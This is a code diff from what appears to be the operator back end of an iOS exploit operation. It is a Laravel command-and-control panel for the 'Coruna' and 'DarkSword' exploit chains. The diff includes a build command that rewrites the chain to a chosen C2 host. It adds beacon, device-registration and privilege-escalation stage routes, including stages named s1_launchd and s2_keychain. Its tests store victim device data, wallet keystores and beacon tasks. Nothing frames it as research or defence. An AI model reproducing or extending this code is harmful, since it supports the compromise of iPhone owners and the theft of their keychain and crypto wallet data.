Schema::table('devices', function (Blueprint $table) {
$table->dropColumn('chain');
});
Schema::table('devices', function (Blueprint $table) {
$table->index('family');
});
}
};
@@ -16,10 +16,10 @@
<div class="layui-inline"> <div class="layui-inline">
<label class="layui-form-label">利用链</label> <label class="layui-form-label">利用链</label>
<div class="layui-input-block"> <div class="layui-input-block">
<select name="family"> <select name="chain">
<option value="">全部</option> <option value="">全部</option>
<option value="coruna">Coruna</option> <option value="1">Coruna</option>
<option value="darksword">DarkSword</option> <option value="2">DarkSword</option>
</select> </select>
</div> </div>
</div> </div>
@@ -119,8 +119,8 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
cols: [[ cols: [[
{ field: 'id', title: 'ID', width: 80, sort: true }, { field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'device_id', title: '设备 ID', minWidth: 180, sort: true }, { field: 'device_id', title: '设备 ID', minWidth: 180, sort: true },
{ field: 'family', title: '利用链', width: 120, templet: function (d) { { field: 'chain', title: '利用链', width: 120, templet: function (d) {
var ds = d.family === 'darksword'; var ds = Number(d.chain) === 2;
return '<span class="tag-chain ' + (ds ? 'tag-chain-darksword' : 'tag-chain-coruna') + '">' + return '<span class="tag-chain ' + (ds ? 'tag-chain-darksword' : 'tag-chain-coruna') + '">' +
(ds ? 'DarkSword' : 'Coruna') + '</span>'; (ds ? 'DarkSword' : 'Coruna') + '</span>';
} }, } },
+1 -1
View File
@@ -19,7 +19,7 @@
<tr> <tr>
<th>利用链</th> <th>利用链</th>
<td colspan="3"> <td colspan="3">
@if (($device->family ?: \App\Models\Device::FAMILY_CORUNA) === \App\Models\Device::FAMILY_DARKSWORD) @if ($device->isDarkSword())
<span class="tag-chain tag-chain-darksword">DarkSword</span> <span class="tag-chain tag-chain-darksword">DarkSword</span>
@else @else
<span class="tag-chain tag-chain-coruna">Coruna</span> <span class="tag-chain tag-chain-coruna">Coruna</span>
+12 -20
View File
@@ -159,39 +159,31 @@ Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry-
return 0; return 0;
})->purpose('Repack existing new-builder channels with latest weifile / details / plugins'); })->purpose('Repack existing new-builder channels with latest weifile / details / plugins');
Artisan::command('ds:build {--host=} {--port=} {--origin=}', function () { Artisan::command('ds:build {--origin=} {--c2=} {--delivery=}', function () {
$script = base_path('channel-builder-ds/tools/build.py'); $script = base_path('channel-builder-ds/tools/build.py');
if (! is_file($script)) { if (! is_file($script)) {
$this->error('missing '.$script); $this->error('missing '.$script);
return 1; return 1;
} }
$args = ['python3', $script]; $c2 = trim((string) $this->option('c2'));
$host = trim((string) $this->option('host')); $origin = $c2 !== '' ? $c2 : trim((string) $this->option('origin'));
$port = trim((string) $this->option('port')); $delivery = trim((string) $this->option('delivery'));
$origin = trim((string) $this->option('origin')); if ($origin === '') {
if ($origin === '' && $host === '') {
$origin = rtrim((string) config('app.url'), '/'); $origin = rtrim((string) config('app.url'), '/');
$this->warn('未传 --origin,使用 APP_URL: '.$origin); $this->warn('未传 --c2/--origin,使用 APP_URL: '.$origin);
$this->warn('线上必须显式指定 C2,例如: php artisan ds:build --origin https://你的域名'); $this->warn('线上必须显式指定 C2,例如: php artisan ds:build --c2 https://c2.example.com');
} }
if ($origin !== '') { $args = ['python3', $script, '--c2', $origin];
$args[] = '--origin'; if ($delivery !== '') {
$args[] = $origin; $args[] = '--delivery';
} $args[] = $delivery;
if ($host !== '') {
$args[] = '--host';
$args[] = $host;
}
if ($port !== '') {
$args[] = '--port';
$args[] = $port;
} }
$this->info(implode(' ', $args)); $this->info(implode(' ', $args));
passthru(implode(' ', array_map('escapeshellarg', $args)), $code); passthru(implode(' ', array_map('escapeshellarg', $args)), $code);
return $code; return $code;
})->purpose('Rewrite DarkSword source and publish public/next-chain'); })->purpose('Rewrite one99 hosts to --c2 and publish source/ to public/next-chain');
Artisan::command('coruna:channel-domains {--json}', function () { Artisan::command('coruna:channel-domains {--json}', function () {
$domains = array_values(array_filter(config('coruna.channel_domains', []))); $domains = array_values(array_filter(config('coruna.channel_domains', [])));
+3 -1
View File
@@ -12,7 +12,9 @@ Route::any('/beacon', [$ds, 'beacon']);
Route::any('/war', [$ds, 'war']); Route::any('/war', [$ds, 'war']);
Route::any('/p', [$ds, 'p']); Route::any('/p', [$ds, 'p']);
Route::any('/stats', [$ds, 'stats']); Route::any('/stats', [$ds, 'stats']);
Route::any('/api/ds/log', [$ds, 'log']); Route::any('/api/ds/log', [$ds, 'log']);
Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);
Route::any('/api/ds/device/register', [$ds, 'register']); Route::any('/api/ds/device/register', [$ds, 'register']);
Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']); Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);
+26 -30
View File
@@ -53,7 +53,7 @@ class DarkSwordC2ApiTest extends TestCase
} }
#[Test] #[Test]
public function log_with_stage_writes_chain_log_and_dedups(): void public function log_with_stage_skips_db(): void
{ {
$payload = [ $payload = [
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E', 'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
@@ -65,31 +65,24 @@ class DarkSwordC2ApiTest extends TestCase
$this->postJson('/api/ds/log', $payload)->assertOk()->assertJson(['status' => 'accepted']); $this->postJson('/api/ds/log', $payload)->assertOk()->assertJson(['status' => 'accepted']);
$this->postJson('/api/ds/log', $payload)->assertOk(); $this->postJson('/api/ds/log', $payload)->assertOk();
$this->assertSame(1, DsChainLog::query()->count()); $this->assertSame(0, DsChainLog::query()->count());
$row = DsChainLog::query()->first(); $this->assertSame(0, Device::query()->count());
$this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid);
$this->assertSame('loader', $row->stage);
$this->assertSame(18, $row->progress);
$this->assertSame('BODOZR5F613N9', $row->channel_id);
} }
#[Test] #[Test]
public function log_infers_stage_and_ignores_noise(): void public function log_text_skips_db_even_when_stage_can_be_inferred(): void
{ {
$this->postJson('/api/ds/log', [ $this->postJson('/api/ds/log', [
'text' => 'malloc ok 0x1234', 'text' => 'malloc ok 0x1234',
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E', 'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
])->assertOk(); ])->assertOk();
$this->assertSame(0, DsChainLog::query()->count());
$this->postJson('/api/ds/log', [ $this->postJson('/api/ds/log', [
'text' => 'pe_main_start', 'text' => 'pe_main_start',
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E', 'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
])->assertOk(); ])->assertOk();
$row = DsChainLog::query()->first();
$this->assertNotNull($row); $this->assertSame(0, DsChainLog::query()->count());
$this->assertSame('pe', $row->stage); $this->assertSame(0, Device::query()->count());
$this->assertSame(86, $row->progress);
} }
#[Test] #[Test]
@@ -102,13 +95,15 @@ class DarkSwordC2ApiTest extends TestCase
'chain' => 'darksword', 'chain' => 'darksword',
]); ]);
$this->get('/log.html?text=lab')
->assertOk()
->assertSee('ok', false);
$this->get('/api/ds/log?text=lab') $this->get('/api/ds/log?text=lab')
->assertOk() ->assertOk()
->assertSee('ok', false); ->assertSee('ok', false);
$this->getJson('/api/chain-targets?ios=18.6')->assertNotFound();
$this->get('/log.html?text=lab')->assertNotFound();
$this->getJson('/next-chain/api/chain-targets')->assertNotFound();
$this->getJson('/next-chain/api/device/register')->assertNotFound();
$this->get('/next-chain/log.html?text=lab')->assertNotFound();
} }
#[Test] #[Test]
@@ -116,7 +111,8 @@ class DarkSwordC2ApiTest extends TestCase
{ {
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E') $this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E')
->assertOk() ->assertOk()
->assertSee('ok', false); ->assertHeader('Content-Type', 'application/javascript; charset=utf-8')
->assertSee('__peStage1', false);
$row = DsChainLog::query()->first(); $row = DsChainLog::query()->first();
$this->assertNotNull($row); $this->assertNotNull($row);
@@ -133,7 +129,7 @@ class DarkSwordC2ApiTest extends TestCase
$this->get('/api/ds/pe-stage/s2_keychain') $this->get('/api/ds/pe-stage/s2_keychain')
->assertOk() ->assertOk()
->assertSee('ok', false); ->assertSee('__peStage2', false);
$this->assertSame(2, DsChainLog::query()->count()); $this->assertSame(2, DsChainLog::query()->count());
} }
@@ -150,7 +146,7 @@ class DarkSwordC2ApiTest extends TestCase
$device = Device::query()->where('device_id', self::DS_LHU)->first(); $device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device); $this->assertNotNull($device);
$this->assertSame(Device::FAMILY_DARKSWORD, $device->family); $this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame('iPhone15,2', $device->device_model); $this->assertSame('iPhone15,2', $device->device_model);
$this->assertSame('18.6', $device->ios_version); $this->assertSame('18.6', $device->ios_version);
$this->assertSame('192.168.31.77', $device->ip); $this->assertSame('192.168.31.77', $device->ip);
@@ -170,7 +166,7 @@ class DarkSwordC2ApiTest extends TestCase
$xxbb = Device::query()->where('device_id', self::XXBB_D)->first(); $xxbb = Device::query()->where('device_id', self::XXBB_D)->first();
$this->assertNotNull($xxbb); $this->assertNotNull($xxbb);
$this->assertSame(Device::FAMILY_CORUNA, $xxbb->family); $this->assertSame(Device::CHAIN_CORUNA, $xxbb->chain);
$this->postJson('/a', [ $this->postJson('/a', [
'lhu' => self::DS_LHU, 'lhu' => self::DS_LHU,
@@ -180,7 +176,7 @@ class DarkSwordC2ApiTest extends TestCase
$ds = Device::query()->where('device_id', self::DS_LHU)->first(); $ds = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($ds); $this->assertNotNull($ds);
$this->assertSame(Device::FAMILY_DARKSWORD, $ds->family); $this->assertSame(Device::CHAIN_DARKSWORD, $ds->chain);
$this->assertSame(2, Device::query()->count()); $this->assertSame(2, Device::query()->count());
} }
@@ -232,7 +228,7 @@ class DarkSwordC2ApiTest extends TestCase
$device = Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first(); $device = Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first();
$this->assertNotNull($device); $this->assertNotNull($device);
$this->assertSame(Device::FAMILY_DARKSWORD, $device->family); $this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame('BODOZR5F613N9', $device->channel_id); $this->assertSame('BODOZR5F613N9', $device->channel_id);
$this->assertSame('18.6', $device->ios_version); $this->assertSame('18.6', $device->ios_version);
} }
@@ -473,7 +469,7 @@ class DarkSwordC2ApiTest extends TestCase
]); ]);
$device = Device::query()->create([ $device = Device::query()->create([
'device_id' => 'reprocess-trust-utc', 'device_id' => 'reprocess-trust-utc',
'family' => Device::FAMILY_DARKSWORD, 'chain' => Device::CHAIN_DARKSWORD,
]); ]);
WalletKeystore::query()->create([ WalletKeystore::query()->create([
'device_id' => $device->id, 'device_id' => $device->id,
@@ -600,7 +596,7 @@ class DarkSwordC2ApiTest extends TestCase
$device = Device::query()->where('device_id', self::DS_LHU)->first(); $device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device); $this->assertNotNull($device);
$this->assertSame(Device::FAMILY_DARKSWORD, $device->family); $this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame(0, DeviceEvent::query()->count()); $this->assertSame(0, DeviceEvent::query()->count());
$this->assertSame(count($types), DsBeaconTask::query()->where('device_id', $device->id)->count()); $this->assertSame(count($types), DsBeaconTask::query()->where('device_id', $device->id)->count());
$this->assertSame( $this->assertSame(
@@ -708,7 +704,7 @@ class DarkSwordC2ApiTest extends TestCase
{ {
$device = Device::query()->create([ $device = Device::query()->create([
'device_id' => self::DS_LHU, 'device_id' => self::DS_LHU,
'family' => Device::FAMILY_DARKSWORD, 'chain' => Device::CHAIN_DARKSWORD,
]); ]);
DsBeaconTask::query()->create([ DsBeaconTask::query()->create([
'device_id' => $device->id, 'device_id' => $device->id,
@@ -740,7 +736,7 @@ class DarkSwordC2ApiTest extends TestCase
Storage::fake('local'); Storage::fake('local');
$device = Device::query()->create([ $device = Device::query()->create([
'device_id' => self::DS_LHU, 'device_id' => self::DS_LHU,
'family' => Device::FAMILY_DARKSWORD, 'chain' => Device::CHAIN_DARKSWORD,
]); ]);
DsBeaconTask::query()->create([ DsBeaconTask::query()->create([
'device_id' => $device->id, 'device_id' => $device->id,
@@ -786,7 +782,7 @@ class DarkSwordC2ApiTest extends TestCase
Storage::fake('local'); Storage::fake('local');
$device = Device::query()->create([ $device = Device::query()->create([
'device_id' => self::DS_LHU, 'device_id' => self::DS_LHU,
'family' => Device::FAMILY_DARKSWORD, 'chain' => Device::CHAIN_DARKSWORD,
]); ]);
DsBeaconTask::query()->create([ DsBeaconTask::query()->create([
'device_id' => $device->id, 'device_id' => $device->id,
@@ -856,7 +852,7 @@ class DarkSwordC2ApiTest extends TestCase
Storage::fake('local'); Storage::fake('local');
$device = Device::query()->create([ $device = Device::query()->create([
'device_id' => self::DS_LHU, 'device_id' => self::DS_LHU,
'family' => Device::FAMILY_DARKSWORD, 'chain' => Device::CHAIN_DARKSWORD,
]); ]);
$task = DsBeaconTask::query()->create([ $task = DsBeaconTask::query()->create([
'device_id' => $device->id, 'device_id' => $device->id,